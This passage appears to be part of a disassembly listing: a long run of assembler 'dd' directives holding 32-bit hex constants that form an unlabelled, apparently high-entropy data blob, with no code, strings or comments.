		dd 0AAA02342h, 0C8CB88CFh, 5565297h, 0A6E90A9Bh, 6C2C8133h
		dd 837CF4E8h, 1B2C3700h, 0D4353E24h, 0C0F1547Bh, 9F96033Ah
		dd 0DB918973h, 0DFBE38F0h, 0E4B0FB03h, 6C2358h,	92C2E129h
		dd 6B150BA7h, 76CE1D00h, 48058BAFh, 80387F2Fh, 31DCFD7Ch
		dd 5B24DF43h, 0E726A0DEh, 64E401D4h, 9317EF7Ch,	0B74EC062h
		dd 0B5C9EC06h, 0C1981D42h, 6EB13769h, 0D0B03AEEh, 9DBBF83Fh
		dd 0A548B9F8h, 57851892h, 0FC9352C9h, 39396050h, 0BE2DF614h
		dd 0A18B20Fh, 8E8CC33h,	0EE21CE22h, 4E462D20h, 54717893h
		dd 3C977B28h, 0AAFF3301h, 9351C6FDh, 47E3688Ch,	0D426B180h
		dd 84002595h, 9D75B5A4h, 676F0157h, 2BE5B642h, 0D5BDEC05h
		dd 3E560700h, 0F5396145h, 4A360055h, 8D6A7EA4h,	721C5A5Dh
		dd 0E6809C5Eh, 9165F63Bh, 0D77A13A3h, 0BBF0312h, 16F8620Ah
		dd 420038D4h, 0B9D9A2FFh, 9C8D27h, 0F61BE27Dh, 8EB1976Ah
		dd 42165730h, 32A2F818h, 5129B80Ch, 89C68E10h, 0ECB20861h
		dd 9758120h, 7D11B9E1h,	5F341190h, 67204912h, 76810FAh
		dd 0C37ED72Bh, 0B85ED0DAh, 4D00A69Bh, 460CC9D5h, 1455B8Bh
		dd 425C2A99h, 0F593599Fh, 65EFECBEh, 4BFCE900h,	6CED3B92h
		dd 8F740701h, 6048FE5Ch, 0B476B87Eh, 1458DE00h,	26F68C28h
		dd 0E0F80FFBh, 51804143h, 1610DBCFh, 5E209600h,	8B64D077h
		dd 2B9438h, 23949567h, 0EB006574h, 1CCE90EEh, 3A4F06EDh
		dd 0B480260Eh, 0D18CBF2Eh, 3D00366Ah, 5E15CEF1h, 26726747h
		dd 3F36E4Bh, 0FE9D529Ah, 5FA0EF9Bh, 18031378h, 50AB4054h
		dd 9A100064h, 0E2C276B5h, 0E8E80A37h, 0DE024B75h, 9B0D2636h
		dd 9A29C0EFh, 13F0C9h, 6BD1A0Fh, 60B3F23Ah, 4A9BF91Dh
		dd 0C541A51Ch, 6B7D4388h, 3E658A4h, 45F7159Eh, 30F92150h
		dd 86C39000h, 1D63FAA6h, 42F71C9Ah, 0E819C018h,	7472077Fh
		dd 6A258h, 81C4DB54h, 141F6D9Ch, 8F177DC9h, 5C940B00h
		dd 6C37A434h, 3551AA19h, 0E8432FB0h, 21D2E156h,	0D509F4h
		dd 0F494DD0h, 214D1B1h,	1AFC3Bh, 74CFBFEAh, 4CAA0D97h
		dd 100F13E2h, 7980E6B3h, 0D933B965h, 0C5271800h, 516CEE5Eh
		dd 422A00B5h, 0A99E8EE8h, 0D8009756h, 0B0994C73h, 0F2A50F9Dh
		dd 0CD080748h, 4714D0CFh, 3930FC0Dh, 96D7F100h,	0EAF60F70h
		dd 549A00DBh, 0B352F0FAh, 2000CEAFh, 0B5DD4873h, 713BADC9h
		dd 0A7C8009Bh, 8AD33963h, 25482BEEh, 66007EA4h,	7A5DD8F9h
		dd 78610D2h, 979983D7h,	0A043A32Dh, 4E548294h, 186A3140h
		dd 71B5E48h, 3927F7F1h,	14EBAB50h, 2A0E09CAh, 805D5B67h
		dd 9966B8AAh, 0B7CC004Bh, 0CFA7526h, 343C22FBh,	522E1CF2h
		dd 0DF028900h, 486A041Bh, 810068ADh, 0D9FEC78h,	8E055BEBh
		dd 3293A209h, 62C0F85Eh, 71087B3Fh, 0E87F2A6h, 0FFD563C2h
		dd 9C0007B2h, 779680B6h, 0F769F388h, 0F7B87E0h,	65291490h
		dd 0DF0D00B8h, 9697462Fh, 0FC00B5F7h, 0D2D47B36h, 1F845A49h
		dd 688F1BF5h, 0D93E0096h, 761DED4Ah, 3F0F8E04h,	466910h
		dd 0A4134C2Ah, 2CF703EEh, 0BEC2E403h, 0BC8E32A0h, 0E0B46B28h
		dd 0D3A34C07h, 18837DF4h, 0E815833Ah, 0E087AFh,	846C26C3h
		dd 0EC19AD28h, 0F8FA3800h, 85578A3Eh, 0F26F00A3h, 0DD1C05C3h
		dd 9D09E7E0h, 0F53BA0h,	0D8321F70h, 0F440350h, 81920BAFh
		dd 0DEBAB000h, 4580DD94h, 53700076h, 0A332D10Dh, 8E0078F9h
		dd 237FA17Bh, 129BBD77h, 2CA9444h, 76B984D7h, 6F363860h
		dd 0BF974E00h, 0A5A1BA75h, 0C5D00058h, 825BCE41h, 0BB1DEF22h
		dd 0BF11FFh, 85B36090h,	0FCB7F0h, 0C50A5A2Ch, 0C89AA470h
		dd 67F15B01h, 51532037h, 0F0E5FECh, 60CC0D38h, 26006D6Bh
		dd 5AFECB15h, 6B91E100h, 34B5E0FAh, 545F3DD8h, 0BC0074DCh
		dd 526476E6h, 0C9F2DD4Bh, 20D94C26h, 0E582F700h, 12C8543h
		dd 569E2FBEh, 60A0768Fh, 0E0EA0EB2h, 0CB67CE0Eh, 200072ECh
		dd 0BE841CD2h, 7289270h, 6389BA56h, 9B57F02Ah, 0F6003777h
		dd 97DEE2C5h, 9CF5C2h, 647E5140h, 0B632BF2h, 99602CF6h
		dd 1D228F81h, 0F1D372h,	0BF626AA0h, 767B679Eh, 33125B00h
		dd 88D72CB2h, 4D27129Ah, 700BF20h, 8A07CE9Ch, 4121044Bh
		dd 0C0D89DAFh, 9A5D1331h, 0E6BD3801h, 0C03AA8F0h, 0F1416D8h
		dd 1120F8B4h, 95A68E60h, 7008409h, 3DB9DE0Bh, 7D6CF8Ah
		dd 0C3B76641h, 0E99051B2h, 0E025710Ah, 61172D46h, 88004567h
		dd 26A58E4Ah, 0C2FF0F4Eh, 9080B71Ch, 16299919h,	37649E4h
		dd 91B4700h, 0F7B0800Eh, 0A8F04855h, 484D610Fh,	0AC2B3A0h
		dd 5D1CB8F1h, 98805909h, 4EDCBA76h, 2EC923Ch, 107A33C2h
		dd 0B880643Ah, 0B0D9DB94h, 106B2D30h, 3CF1BB18h, 3FD23F3h
		dd 27F8F4CFh, 0FDCB89AAh, 866D7100h, 0C13C66A7h, 0BDC008Bh
		dd 236F3F4Bh, 910069E7h, 0C55A4707h, 43D3DEh, 0B912C608h
		dd 9076ECEEh, 6F2CC000h, 0B332EBB6h, 79070075h,	460F3412h
		dd 0DD7747F6h, 4E975C14h, 0B0EC00A1h, 5B042B6Fh, 16230337h
		dd 2C364F2h, 0D2DC8398h, 620EA390h, 1771525h, 0E7A08A9Ah
		dd 0F3B1F8h, 0B6EA0E04h, 246C08CDh, 38902AF0h, 9D6FC203h
		dd 0A8814C3Dh, 0FF36A6FCh, 0BBCF8h, 45EE98F1h, 0BED0FE53h
		dd 5C9882ECh, 0E2DEB1Ch, 1A260680h, 0F7D9F88h, 5FB6A1F3h
		dd 0C0CD40FDh, 0B3F711E3h, 3FB05A07h, 0B17044A5h, 4149BDh
		dd 210DE995h, 8743F6E8h, 5DC40900h, 581CA0ADh, 0E842483Dh
		dd 8E752F00h, 0B459D741h, 0CFE06400h, 28FFC15Dh, 6C734840h
		dd 0C6002E3Ch, 0B7BE9B1Dh, 0F90EABD4h, 1E225DD2h, 24137F80h
		dd 0B328A1h, 35BFEB5Fh
		dd 0A7921AC3h, 0FF68FB00h, 0B2DEE991h, 763200F1h, 9B65E2AEh
		dd 720183D9h, 0A6C8F695h, 98308464h, 21F2007Ah,	5DA4A20Dh
		dd 0C7AC23Bh, 0AED07B2Eh, 82938E00h, 83109Eh, 0A0A10952h
		dd 665EC170h, 0E3E7C903h, 3917F49h, 7806076Ah, 0FE8BA322h
		dd 0D8841000h, 0FF6CC697h, 834112A8h, 9A300595h, 0B44CC51h
		dd 27E83700h, 1FB9FC64h, 456C03AFh, 9C3D682Fh, 3CC001E2h
		dd 35137EB0h, 4402528h,	499DDACDh, 0B60C0069h, 5B773931h
		dd 194C1ACAh, 848F7h, 9263D434h, 75A510h, 0F6042CEFh, 0B137E28h
		dd 2E961C00h, 0E64974B8h, 0E0030597h, 0EAFD5607h, 61ACFD00h
		dd 3D90624Eh, 8010A4Fh,	87400D8Ch, 53182098h, 95365500h
		dd 300337EEh, 1C244907h, 9BAD8700h, 0F94869B4h,	3212DF00h
		dd 5C8C50D7h, 0A4C900FFh, 0B1ADE941h, 0DDE04AA5h, 928F3B3Bh
		dd 18015CCDh, 0DB754044h, 0E1E3E180h, 760D94CCh, 378BA903h
		dd 0B03B4BACh, 46FD847h, 0BDC56628h, 41F08065h,	380FE0AEh
		dd 413EECBCh, 0D1868EFAh, 81B0D8h, 4D69FDC0h, 74962EB3h
		dd 0F4347500h, 6ABE3B0Eh, 33BA0005h, 6B4811F7h,	3F000999h
		dd 0EE6D595Fh, 70564E0h, 7E2EC184h, 12CB605Ch, 0E102EBFBh
		dd 1C4D7D4Ch, 0F4BD8062h, 0B2C622h, 0F6A1398Ch,	3CE3B658h
		dd 1500C872h, 0E53FC26Dh, 3ED99A3h, 0E40FBD80h,	1000A9D8h
		dd 13BFDD92h, 0A79E89Ah, 0FE677C71h, 886614F8h,	0A1E7F40Eh
		dd 3D380013h, 2BCA3774h, 486A880Ah, 0C6048066h,	7C90BA5Dh
		dd 1FFB81Eh, 8F0EFE45h,	0E8308626h, 0C6128420h,	2C00C1C3h
		dd 2852A443h, 2E9271BDh, 0D0766Bh, 0C51BECCCh, 0B907CDC4h
		dd 5B07E466h, 90D43F20h, 0A54C0049h, 29B25006h,	0A900ED68h
		dd 23ADDDAFh, 0EC59F153h, 0FEF60435h, 80365DCCh, 0A26EF580h
		dd 5E390D90h, 0B348DAh,	15C8596Dh, 0FA1CEFC4h, 3CDD072Fh
		dd 0A9F1B73Bh, 56381F50h, 0B8CD1FCFh, 0E6C6340h, 32B287Bh
		dd 7C19D365h, 0E5B0B4A7h, 0D700F9A9h, 21855435h, 734F3FBh
		dd 0F2012E4Eh, 80C0B459h, 7CB1EF43h, 0FB5A2600h, 1FF9EED1h
		dd 34F2C3h, 21608EA7h, 53F7AF74h, 25BCCC4Fh, 38004D3Dh
		dd 73DA88C5h, 2212A802h, 2F005C27h, 99753509h, 92E30FEBh
		dd 3F37B8h, 4BFBE042h, 46056FA5h, 31629FBAh, 77E930D0h
		dd 0DA4D3C49h, 811D891Ch, 4FE2C1DCh, 0C7246047h, 0F0D60700h
		dd 349A6C19h, 1C30008Ch, 5F58EA12h, 4C072433h, 38BDED18h
		dd 0C196A040h, 0EACD0C3Dh, 4146B91Bh, 341AD800h, 97AF30BDh
		dd 0A8901828h, 0B28828E9h, 692EF600h, 77AE710Fh, 755C0B40h
		dd 32009D65h, 7C74981Eh, 0D11D5800h, 8C84C087h,	390500C9h
		dd 0AA7E9927h, 5F00B1A2h, 0F1217F48h, 0DEA73h, 5ACCAD8h
		dd 51B3A38Ch, 0FC031201h, 90241A2Dh, 2B78B02Bh,	89285C04h
		dd 98B1A329h, 0F29CE4F2h, 51A90404h, 0B0BAB398h, 4C075AC8h
		dd 3C24A50Eh, 0E51314D0h, 0DAE6C1h, 0C70976B8h,	95E288F7h
		dd 0D2E80D01h, 0E5E3CC74h, 0AF6C1080h, 23279486h, 0B37B700h
		dd 0C078EF1Ah, 0E1EA076Fh, 805A1DA2h, 3D59813h,	5393D010h
		dd 1F801238h, 0B29A2595h, 3C98ECC2h, 0E4C85601h, 8D6DADF0h
		dd 1F1230F0h, 409A24C7h, 988BE5B7h, 0DB003125h,	0D1BCE7C0h
		dd 0E030D751h, 944001Dh, 4CFC23A7h, 0A90E3565h,	802C77C2h
		dd 30A1150Dh, 0DB4B00A3h, 8B8AB576h, 6B01FB41h,	83FEBF9Ah
		dd 0DED8A66Fh, 314F1E91h, 0C590716Ch, 1F6DF084h, 2A528507h
		dd 827086EAh, 7B1C913h,	9077643Ch, 8054B542h, 257E0579h
		dd 0A5502C2Eh, 0B8207900h, 0E6CE335h, 419FF4C2h, 0AD934520h
		dd 0A900FAC3h, 0D9975E3Fh, 2ACBF5h, 0FC6E806Dh,	0BD608AE2h
		dd 33CC938h, 78240F19h,	23CD88BCh, 3E45004Fh, 34FA665Ah
		dd 2C00A49Eh, 0B63B9156h, 115B3C1h, 238C962Dh, 0E806F372h
		dd 0D3880B1h, 528B0018h, 2DF7FA2Fh, 9C9503C6h, 0F46EE4FEh
		dd 0D5DC1001h, 0BDDA7A19h, 1B54FE0h, 93E2E684h,	70383A04h
		dd 8B000930h, 86BDB9CBh, 0BA3B0C1h, 5FFF1202h, 8581D980h
		dd 95006258h, 83D5B3C0h, 1864DF36h, 185F4C74h, 0F8001422h
		dd 987CF917h, 2491B55h,	8ADE2043h, 7A40115Ah, 373EC4D7h
		dd 0E03C0019h, 7936FC44h, 32FA009Bh, 0A9B1C298h, 640782ECh
		dd 7BBD5F9Dh, 72561A90h, 6FDD0EF1h, 0BBC02943h,	14A628B5h
		dd 5094AB00h, 8DEB3492h, 2C330070h, 74F15410h, 0C41D9B0Bh
		dd 0AFC07999h, 502F2272h, 0D9950E49h, 24AFC5A0h, 0C4631820h
		dd 0F207FC04h, 0F5D17BBh, 77E67390h, 18C0C06Eh,	7B522645h
		dd 7EB92403h, 0F85155D4h, 0B6BAB4Ch, 80E13A9Ch,	56AC8780h
		dd 5C0029A7h, 0B53318B8h, 1EDDF723h, 80EE06CAh,	7DE534EDh
		dd 0C41C5EBEh, 26801B80h, 5F678199h, 30223BF9h,	9E290A81h
		dd 0EC7BF5BDh, 87E5A526h, 35360C8h, 222A23h, 494E8010h
		dd 0A4E8DF42h, 83631E38h, 8C37F06h, 0E629853h, 0CD781D05h
		dd 0C6C10320h, 0C5CB9Bh, 3C4B54ACh, 0AD079E47h,	0EC94B683h
		dd 2BDFEA10h, 656E008Ch, 0AAF545C5h, 84AB240Ch,	0BB49A0D8h
		dd 0A5D12E00h, 0D8549FD9h, 0DD360382h, 99AD7262h, 0D7979802h
		dd 0C0DBEB04h, 71B3427h, 0A3887A4Dh, 808D4661h,	0B4933000h
		dd 0D8BE6445h, 267E00C8h, 0BAEC06Ah, 9D07E694h,	4CF51CBCh
		dd 1047440h, 55F605F3h,	817CABB9h, 8607CDAFh, 6818CCEAh
		dd 0D81100A0h, 5F60DB12h, 30773D0h, 2B54FDF8h, 913E5C20h
		dd 461700CFh, 661C1F35h, 9E00B634h, 474C5B82h, 0E781ECEh
		dd 0A8A68DA7h, 14057A81h, 0AB3EFCBCh, 9D031090h, 739AE40Bh
		dd 4096F28Fh, 0F61F3Ch,	56FFD510h, 6F84B178h, 487A990Eh
		dd 55C0BE47h, 26D1601Fh, 4AA9009Dh, 0F1979511h,	0DE0099C3h
		dd 0AEABD45Dh, 752CC52Bh, 605C908Ch, 0B6652160h, 522C2DEh
		dd 6AC60063h, 0AB1C392Dh, 253E1AFCh, 0C4778321h, 0A462EE64h
		dd 4EE86D80h, 0ED9A0012h, 0C8980F75h, 417A0BAAh, 0DBBB5B04h
		dd 0C8801640h, 6013C20Dh, 0E8D31959h, 0FA3C520Eh, 100076B4h
		dd 0A41B6A5Fh, 7118E3A5h, 648B00B0h, 9F989509h,	3F09FB7Fh
		dd 7EC1B17h, 884120CCh,	4824CE92h, 9AB800DBh, 0F8AFF2BDh
		dd 0CD00F7D6h, 0F0226D36h, 342EA0Fh, 33DC40C5h,	93E8DAAEh
		dd 9B007E0Ah, 0D151956Ah, 486202D0h, 0C7019460h, 0AE9991F4h
		dd 0E7873066h, 52F07C00h, 0AA8AB4A6h, 0FD9A00D7h, 39D82E07h
		dd 553FF731h, 2FF300D9h, 67756CDBh, 96600423h, 0C0E74F5Fh
		dd 0DA3AA49Ch, 14F4191Dh, 84CBCC89h, 5091BE96h,	0B06F6C49h
		dd 909018B7h, 0DE705218h, 6503E8h, 5FCDB375h, 95F050B4h
		dd 79E75D2Eh, 0A0FA5C0Eh, 0D9E20218h, 0BB8B00BFh, 59DB368Ah
		dd 0B800913Fh, 0A4312611h, 6B9DB6h, 7F73C28Ch, 94D7612Dh
		dd 0DCA11000h, 0BE26D348h, 787500E2h, 8B801F30h, 0AF282407h
		dd 0BA1FCC29h, 0E7C273A0h, 60BB8EADh, 1479ED9Ch, 0E55D42AEh
		dd 0FB141600h, 0BBCCDA23h, 0F92ABF3Eh, 980211FCh, 0FD496291h
		dd 1B3D40FFh, 21A41F06h, 9FCE001Ah, 0EAE75CE9h,	0BFF01E60h
		dd 330F2Bh, 4E5A8DA2h, 0A5E27A8Bh, 0F4D4731Fh, 0D2BE59C0h
		dd 1C8D395h, 0C49C94EBh, 20A5BC05h, 0C1302600h,	12EC62E6h
		dd 9CFC0082h, 1CDABDA3h, 1100997Ah, 0F5715FFEh,	0E5835DFh
		dd 9F52D40Bh, 3FB30340h, 660067F2h, 69A53E0Fh, 0BE65EFh
		dd 0C8E51699h, 0E9A7297Ch, 0B17D70F5h, 26E681F4h, 8E021E00h
		dd 0DD301DC0h
		dd 0BDBA00A8h, 0C35EC2CAh, 7D94CC4Eh, 4BDB6A00h, 348820h
		dd 29235261h, 49115ABh,	0B49ED800h, 0AD2C9213h,	0C22B001Ah
		dd 0DDACC424h, 0D0B0723Ah, 0D80C8826h, 75AAC700h, 0C0D0AD8Ah
		dd 0EE595120h, 0C504EFA1h, 1FEAFF41h, 13941C90h, 0FE79A0h
		dd 7F98A9CFh, 1FB808F0h, 0DAEB3507h, 0F920AF4Ah, 702EF2DEh
		dd 8811011Eh, 71B898BFh, 0D7093060h, 655A060Fh,	954D20B4h
		dd 49DDC209h, 0EF40C0DAh, 70ACE93Fh, 8EB91CE4h,	5F80EBC9h
		dd 6BD9BFCAh, 4C54C8B2h, 0BA411314h, 0EE0F16CAh, 1F9714AAh
		dd 8954B4Ch, 5ACE0527h,	8093139Ch, 6A1AA050h, 0DA810F03h
		dd 0A3D3C04Bh, 0C0E9DA97h, 3E0BCAD8h, 71E006BAh, 7E95D942h
		dd 13311860h, 0A084FE87h, 0A9143E48h, 20879D98h, 4ECB1517h
		dd 80689F6Dh, 0F7691099h, 904203h, 0FA282180h, 83AC1D95h
		dd 7DE2513h, 84A72E07h,	0FDFD330h, 82E02Ch, 94024F78h
		dd 0AC49EB56h, 0F0EA5025h, 645F0058h, 7C24E511h, 0E2607072h
		dd 14A8BE54h, 0F1750339h, 3E5DB502h, 0B2708000h, 47949D42h
		dd 0E3460029h, 0ABEE0860h, 970CFEF7h, 0D8510CD2h, 1EF4790Dh
		dd 800A2AADh, 6E2101A4h, 440775C0h, 0B3DA1D71h,	0FF299670h
		dd 168972A6h, 24B48BE2h, 98BD8038h, 3C033539h, 0BC4DC320h
		dd 5B6DE92Bh, 977E8640h, 629307AFh, 0E0998B30h,	52BABFCDh
		dd 0FE9BCE16h, 0D3EA4004h, 1740C05Dh, 0DA839E79h, 0E600AE74h
		dd 0B954873Ah, 7D492CD6h, 0AD20004Dh, 22FEE169h, 0B100B3CBh
		dd 0E08891Ch, 2D14E0h, 0A034BD11h, 0EFF70A8Ah, 12BC940Eh
		dd 0C5BB208Dh, 0E9BA39h, 28BD46A8h, 0B87D3B5Ch,	3265BC00h
		dd 5B0E91CFh, 0C72D3h, 4B61864h, 5CB95F30h, 9A16FCA8h
		dd 991888BAh, 0A838BE58h, 0F1EF002Fh, 0B033A0F8h, 858FE47h
		dd 0AAEC0055h, 46A2A54Ch, 4AA6242Dh, 1C029F24h,	4DF340E8h
		dd 52646BA0h, 63E1C300h, 92E97A07h, 2ACD030Ch, 4A21D76Fh
		dd 35413388h, 0E3B2571Dh, 0E08FC14Eh, 432B60DEh, 0E691C5Eh
		dd 8E5826E8h, 0F6091E3h, 28C4BE9Bh, 3D544E01h, 0ED516559h
		dd 7274F8D8h, 241A0F50h, 0BFCCFB66h, 8C009BC8h,	356A6925h
		dd 605B39h, 0A2C5868h, 0AC031502h, 0E80521Ch, 6FB043Bh
		dd 60C09947h, 84FD08h, 0A2836688h, 1EA642EFh, 918D0326h
		dd 55513000h, 798B34Dh,	3D14AE35h, 0F1FEE024h, 0B600BF1Bh
		dd 0BEF9CBE1h, 3BFB0809h, 0A880CC14h, 84D3ADD8h, 5054117h
		dd 42F2524Fh, 0E98FA00Ch, 779F00A8h, 7B1385Eh, 0F8E51116h
		dd 0B9054B53h, 9389E799h, 0AF55A430h, 260E3BDDh, 70E1780Fh
		dd 7C00396Bh, 9CA95F62h, 0B3B9EC00h, 15D0161Bh,	0A5760309h
		dd 0A05AF039h, 30979099h, 2913F16Ch, 80400219h,	346FB22Ah
		dd 775500F5h, 0D8EA3830h, 7D486662h, 0FC9F01BEh, 6B4112B1h
		dd 0E23B48C0h, 5E8C09Ch, 74236550h, 32C44F09h, 0E76443D1h
		dd 9C00B07Ah, 0FE9AD60Ah, 287C07F0h, 502B4511h,	41140F52h
		dd 6B443900h, 0E1011BAAh, 0A0BB0005h, 5D8DA149h, 50009302h
		dd 0B8837D92h, 7D07AD7Ch, 99D40087h, 2AFB4BFFh,	0E400EB21h
		dd 6943D13Ah, 0A075A9A6h, 25FFFB4h, 0EE24116Ch,	6C5813A3h
		dd 0C4652000h, 89AF8F9h, 0FB9F00D7h, 6ECF4F9Dh,	490E0F24h
		dd 60787A6Dh, 2F608043h, 5BC80635h, 68EAE3D7h, 6E90C200h
		dd 0C49FCC45h, 0A97C99h, 8A060AB3h, 0C76B26FFh,	7E2A3Dh
		dd 8C2CD415h, 0FA1404BCh, 8FF42EE3h, 5AF007Ch, 3ACFB881h
		dd 0EE1FA200h, 0C8C14CC6h, 0FF2C004Bh, 3579CCEDh, 0A800D0C2h
		dd 0E0137697h, 55098Ch,	14EF4F32h, 9F90BD60h, 0F99560E1h
		dd 0C6392B00h, 265C0D19h, 68830162h, 0B57A5B25h, 5191FFD3h
		dd 80946410h, 0C189FB00h, 515B828h, 0B49250DAh,	9E4413F5h
		dd 3A08405Dh, 2BB0AEDDh, 0B880E730h, 9C051D68h,	0AF720060h
		dd 5692759Eh, 3D618300h, 0D8DDF733h, 77090355h,	0ACC717A1h
		dd 0A35418F8h, 9DF42500h, 23312C83h, 0E92FE04h,	3CA15D36h
		dd 80F7F8A0h, 0F900F63Eh, 0A7A4BDB6h, 7958E06h,	4344E38Ch
		dd 0D710609Ah, 1326B682h, 0C4806434h, 243EC072h, 0BDF22025h
		dd 44B97505h, 0D800E8D8h, 0CA69D1Dh, 0F0A006Dh,	81F1C78h
		dd 21CFD146h, 3B42E037h, 0B8ACBB5Eh, 0FDDD00ABh, 127ACB66h
		dd 0FA01BE8Eh, 4AC759E2h, 0DB70BB0Bh, 0D29A00AAh, 8AC4509Dh
		dd 0CA18E648h, 4C817B0Dh, 406F0094h, 0FFF74ED8h, 0D101ECB2h
		dd 33D00164h, 8BC1A0A9h, 0A8C832E0h, 88FC22C8h,	2748B1F4h
		dd 0A833002Ch, 269BE9F8h, 0CBD4CA9h, 9AB66100h,	2B1BF0D6h
		dd 4CE6F701h, 2EC80C19h, 9240AFC3h, 0E0B1C1E5h,	469E1227h
		dd 80891EFEh, 0A1A7DAEAh, 911C9047h, 8816BF1h, 0C62915EFh
		dd 9AB12420h, 94EE0024h, 0C37A4473h, 0A0986C8Dh, 70B7AB00h
		dd 2711D906h, 24F60FC6h, 0F840BC4Ah, 687F80C0h,	0D46C4300h
		dd 0BB5AD985h, 0FB230006h, 6F6019CBh, 28005D09h, 0D981C68h
		dd 0CA35CEh, 2688F717h,	0F506C1D0h, 3D13E101h, 99EE7CACh
		dd 538D30h, 8A081EAFh, 55447EF2h, 0DE958000h, 1FB2CC92h
		dd 0ED500A8h, 3CEE278Fh, 0B10004BBh, 7BD144BFh,	98A14670h
		dd 0E30ECA5h, 45FC89F3h, 0EBF0BC00h, 9E4E99A9h,	0B9013400h
		dd 0D12E4Ch, 7F114292h,	0B7E641F3h, 5EC09501h, 0F121CED7h
		dd 0B080303Ch, 16E079A7h, 36231B00h, 0F992908h,	0C1C003FCh
		dd 428BA2B3h, 0BEF3C880h, 20240B30h, 5328EAh, 4DBF04Ch
		dd 3DA679E4h, 3102261Dh, 0E829E41h, 7C702240h, 39190245h
		dd 0AB2D6A5Ch, 80E7A86Bh, 8398F748h, 0A35D6503h, 0B8BDC4C8h
		dd 0B4932A6Fh, 0C3FD0034h, 79DEE72Fh, 3F464F00h, 69DC65Ah
		dd 6CDB48BBh, 827CD21Eh, 0A6EF4C42h, 87010452h,	0B2CA4B72h
		dd 1429345Dh, 0DABAC002h, 5C7D66EAh, 183C1831h,	0B93AEBCAh
		dd 5DB40A5Ah, 0BC90182Ah, 0F760F620h, 8F962C38h, 78D98F8h
		dd 361D9F1Ah, 0B084A042h, 2F7EA6C2h, 95973512h,	0BA1B8800h
		dd 0C2137EE8h, 53934499h, 2B3A8052h, 8788D017h,	4AC239h
		dd 5CACBA13h, 0F27D3Eh,	0BC5D07FDh, 88675B4Bh, 0D8812231h
		dd 0E8F98712h, 992C80DEh, 0C6CC6A1Dh, 0D0C7E370h, 0C0CA5E04h
		dd 0C2212E5Dh, 0FC29E0h, 4B5FA397h, 35122B5h, 272FDFA2h
		dd 9CE802D8h, 4471DB13h, 653CC063h, 0E047FA53h,	0FED53132h
		dd 0F8AD0003h, 0CC505D1Ah, 0B20EED62h, 6199D16Bh, 0D8E7AAA4h
		dd 0F879980h, 47E4BB8Ch, 0F6CCF500h, 1C554D9Fh,	0FF4600D1h
		dd 751DA8A1h, 1E0021AEh, 0BAEB0FC8h, 3B1356C0h,	300094CDh
		dd 88BF7770h, 0E00B9E3h, 0E73E9CA6h, 96532FAEh,	0F380BCFCh
		dd 6745E068h, 0FD0799E3h, 4BDB69C6h, 172F36C0h,	7F0800BBh
		dd 5E66809Ah, 4A0325FAh, 0A91DF5E1h, 45F08FE9h,	347E3Eh
		dd 9B7AAE47h, 185532DAh, 2B0020B0h, 8F92A284h, 0E14D61h
		dd 0DDF30252h, 0C2C20D5h, 0E840114Fh, 8914685Eh, 5845007Eh
		dd 0F6DEB28Eh, 0E6003E05h, 0F52ACC3Ah, 99ED46h,	8D6DE4ADh
		dd 332274C1h, 0C2856200h, 8CD41C17h, 0E06407FEh, 0C0E3654Bh
		dd 8B126AF9h, 481BAF05h, 60C1A129h, 0A8243430h,	548B60Ah
		dd 0D00DAB9Dh, 0CEA3FD34h, 6D55D30Bh, 0BCF82039h, 74CB75Eh
		dd 1826D159h, 0C297C5F5h, 34E17404h, 0DE1024C5h, 110BAC90h
		dd 778CE20Eh, 0C9034984h, 743C18h, 9C24A54Bh, 0E6CD477Ch
		dd 0E7740093h, 4F2D8B61h, 3D002277h, 14C8E31Eh,	0FE50468h
		dd 730D4D3Ah, 33BF13A7h
		dd 0A0C40BB6h, 0FC008B74h, 0F9AEF31Bh, 4AD197FEh, 822840FDh
		dd 98093C5Dh, 54BAF100h, 6070459Ah, 625EAD0h, 620C31D3h
		dd 2F3CF975h, 2B3D0085h, 0FE1AC428h, 41BF30D9h,	0CD5F2D69h
		dd 0ECD24000h, 7C7DB6A7h, 0B17005F8h, 302C38h, 0D3411D83h
		dd 0AC3FA026h, 3FB58148h, 9E6D8768h, 0EFFEC07Ah, 0E800506Eh
		dd 0BD6F924Fh, 8148CEh,	5334E470h, 6835925h, 0B0E5BE2Ch
		dd 0DDAF9D80h, 0C0907D39h, 762B7362h, 8B1D1E7Bh, 40412059h
		dd 9521E888h, 0FDDFC051h, 13C0A828h, 803B49FFh,	0F3DDF003h
		dd 0A8BAB944h, 3AA7AE6h, 0B633F597h, 11F85B70h,	7B0734D0h
		dd 567ED563h, 3E1841A1h, 0CFC19051h, 2B7C4C4h, 1D9781Ah
		dd 0A0609F7Bh, 67717C40h, 0D682F300h, 69C754B6h, 624F1814h
		dd 0FE1F9979h, 558B4F84h, 0E2007478h, 0BAD2E058h, 8A00BD78h
		dd 0B8FC80FDh, 519CD8h,	85997FC7h, 5F9D5B63h, 0AF1CCCBAh
		dd 801EEB2h, 282D4649h,	6F03282Ch, 4DC45319h, 0EDE2BE80h
		dd 71E9F00h, 2A80C589h,	70E81208h, 0FB64005Ah, 0FADEB05Eh
		dd 0EDF52300h, 49365CBBh, 0E72403A1h, 0FE9CEA57h, 0F8E80ABAh
		dd 2B00267Ah, 0DD91706Ah, 0B8EFC5A7h, 64470034h, 5983B4B5h
		dd 6E6A2C3h, 0F1CE2800h, 687536EDh, 568000E9h, 79BD5F83h
		dd 51E4BCA7h, 2127A81Dh, 48EC150Ch, 19AD00D6h, 2A9473A4h
		dd 0CBE880E4h, 0E7CE332Eh, 0CA44DE03h, 1E26BF87h, 211C0030h
		dd 0BE418BD1h, 70012C72h, 84A54AE0h, 0F83C3903h, 29E87D00h
		dd 0FF4E9BFh, 1EB18F00h, 8C25747h, 0FF511DF9h, 8C7083DAh
		dd 8294EEDCh, 7CFA81E4h, 0D873BA0Fh, 3CC5E12Bh,	9FE4919Bh
		dd 0D22C0008h, 6F707982h, 0A0009DF9h, 2685EF64h, 1D7F14h
		dd 911669A5h, 0F1900D3Dh, 0E11C5EE6h, 0CC400ECBh, 0ED8B8C2Ch
		dd 3D8D011Fh, 8499A7BEh, 8E5C460h, 0B5093500h, 0AEEA0E59h
		dd 0C1D900FFh, 2FB77336h, 583A2BB4h, 0D600730Fh, 0F67FD46Eh
		dd 743C7681h, 4C8E00DBh, 0ACDD9861h, 970A789Dh,	0BC884671h
		dd 6CB7C900h, 972044Ah,	18A3BB75h, 6ACD5403h, 48FB20FBh
		dd 5848B5CAh, 960067A5h, 8A3ABBD9h, 0E2246B3h, 0AA6F3D6h
		dd 0B86025A9h, 2F18D3E0h, 2112308h, 187C11D1h, 663400A5h
		dd 15B66B46h, 0B881E4ACh, 7D0C155Dh, 0EA12B048h, 3F680063h
